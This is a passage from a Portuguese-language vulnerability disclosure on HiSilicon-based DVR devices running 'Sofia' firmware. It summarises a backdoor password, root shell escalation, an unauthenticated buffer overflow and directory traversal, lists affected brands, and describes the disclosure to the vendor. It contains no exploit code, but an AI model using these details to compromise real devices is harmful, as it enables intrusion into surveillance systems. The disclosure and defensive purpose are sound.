do dispositivo, mesmo que o usuário defina senhas adequadas
|acesso a shell root com qualquer conta de aplicativo |alto |9527/tcp |pelo
autor |qualquer pessoa que tenha algum tipo de conta de aplicativo e acesso
ao console de serviço pode elevar privilégios até o controle total (shell)
do dispositivo
|*senha de aplicativo backdoor* |crítico |80/tcp, 554/tcp |pelo
autor |qualquer pessoa pode acessar o dispositivo como administrador do aplicativo, mesmo
que o usuário tenha definido senhas fortes para proteger o
dispositivo
|*estouro de buffer no servidor web embutido* |crítico |80/tcp |pelo
autor |ao explorar o estouro de buffer, o atacante pode obter execução remota
de código como root no dispositivo (sem exigir autenticação), instalar backdoors,
malwares e outras coisas maliciosas
|directory traversal |alto |80/tcp |anteriormente por outros(?) e pelo
autor |acesso de leitura não autorizado a tudo (por exemplo, streams gravados)
no dispositivo, também ajuda a explorar o estouro de buffer
|=======================================================================
Se alguém pensa que apenas este dispositivo da marca "Seculink" é afetado
por essas vulnerabilidades graves, está enganado. A gama de dispositivos
afetados é muito grande. Todo dispositivo construído com esse tipo de hardware
HiSilicon SoC é vulnerável. Esses dispositivos compartilham (quase) o mesmo
firmware com esse aplicativo binário chamado "Sofia". A vulnerabilidade acima
(inclusive o script com todos os recursos) funciona de forma quase confiável
sem modificação em muitos hardwares diferentes.
Aqui está uma lista (não completa) de marcas afetadas:
image::./brands_affected.png[marcas afetadas]
http://www.vacron.com/products_CCTV_dvr.html +
http://www.gess-inc.com/gess/dvrs/ +
http://www.jufenginfo.com/en/product-list.php?cid=10&pid=166&parid=175 +
http://egpis.co.kr/egpis/product.php?category=AHD&category2=AHD_D +
http://optimus-cctv.ru/catalog/ahd-videoregistratory +
http://www.clearcftv.com.br/linha.php?l=5&ln=ahd +
http://click-cam.com/html2/products.php?t=2 +
http://www.ccd.dn.ua/ahd-videoregistratory.html +
http://www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/ +
http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr +
http://www.luxvision.com.br/category/dvr-ahd/ +
http://www.yesccd.com/?products/DigitalVideoRecorder.html +
http://www.tvzsecurity.com.br/produtos/31/Stand-Alone +
http://showtec.com.br/dv-stand-alone/ +
http://www.ecotroniccftv.com.br/index.php +
http://starligh.com/cctv/grabadoras.html +
http://www.activepixel.us/ap-0404-ahd.html +
http://j2000.ru/cat/DVR/ +
http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html +
http://kenik.pl/index.php/tag/rejestrator/ +
http://www.redebsd.com.br/categoria-25-gravacao-digital +
http://www.idvr.com.br/produtos-index/categorias/2374896/dvr___ahd_lancamento.html +
http://www.visagems.com.br/prd.asp?idP=1119575 +
http://www.braskell.com.br/dvr.html +
http://www.segvideo.com/segvideo/nvr-hvr.html +
http://www.neocam.com.br/cameras-cftv/stand-alone +
http://www.venetian.com.br/categoria/dvr-hvr-04-canais/ +
http://www.cctvkits.co.uk/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html +
http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html +
http://www.vixline.com.br/vitrine-de-produtos/dvrs/ +
http://aliveelectronics.com.br/category/gravadores-de-video/ +
http://www.issl.com.hk/CCTV_DVRCYVIEW1.htm +
http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html +
http://www.vonnic.ca/products376e.html?cat=13 +
http://polyvision.ru/polyvision/catalog_gibridnye.html +
http://altcam.ru/video/hd-videonabludenie/ +
http://cyfron.ru/catalog/dvr/ +
http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/ +
http://www.hiview.co.th/index.php?mo=3&art=42195125 +
http://www.kkmoon.com/usb-fan-271/p-s413-uk.html +
http://qvisglobal.com/ahd-tvi-960h-hybrid +
https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html +
http://www.novicam.ru/index.php?route=product/product&product_id=429 +
http://www.espuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf +
http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR-MACHINE-SYSTEM-H-264-1TB-500GB-/172250300884 +
http://giraffe.by/catalog/tsifrovye-videoregistratory +
http://www.winpossee.com/en/list/?17_1.html +
http://tesamed.com.pl/rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html +
http://hiq-electronics.ru/videoregistratory +
http://www.eltrox.pl/catalogsearch/result/?q=easycam+rejestrator&order=v_117002&dir=desc +
http://www.x5tech.com.tr/?cmd=UrunListe&GrupNo=265&t=0 +
http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html +
http://secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557 +
http://www.divitec.ru/videoregistratoryi-divitec-idvr/
Em geral, pode-se dizer que esses tipos de dispositivos IoT baratos são
pesadelos de segurança. Todo dispositivo testado recentemente pelo autor tinha
alguma vulnerabilidade grave ou crítica. Do ponto de vista de um pentester, a
recomendação é que esses tipos de dispositivos devem ser bem isolados e não
devem compartilhar a mesma rede com dados importantes e confidenciais.
Infelizmente, não há chance real de obter atualizações com correções para esses
firmwares.
Por fim, é importante dizer que essa vulnerabilidade de estouro de buffer
(com o código PoC do exploit) foi divulgada através do programa
https://www.beyondsecurity.com/ssd.html[SecuriTeam Secure Disclosure]
(SSD) da https://www.beyondsecurity.com/[Beyond Security]. O fornecedor
(HiSilicon) foi notificado (pela Beyond Security) no final de 2016,
mas não houve resposta antes de a vulnerabilidade ser liberada
ao público (algo comum, infelizmente).
A divulgação publicada em fev/2017 está disponível
https://ssd-disclosure.com/ssd-advisory-hisilicon-multiple-vulnerabilities/[aqui].
*ATUALIZAÇÃO (2023-01-01):* Esta pesquisa é referenciada pela https://vulncheck.com/[VulnCheck]
(em 2022-11-30) neste artigo sobre pwning de dispositivos Xiongmai
por https://twitter.com/Junior_Baines[Jacob Baines]:
https://vulncheck.com/blog/xiongmai-iot-exploitation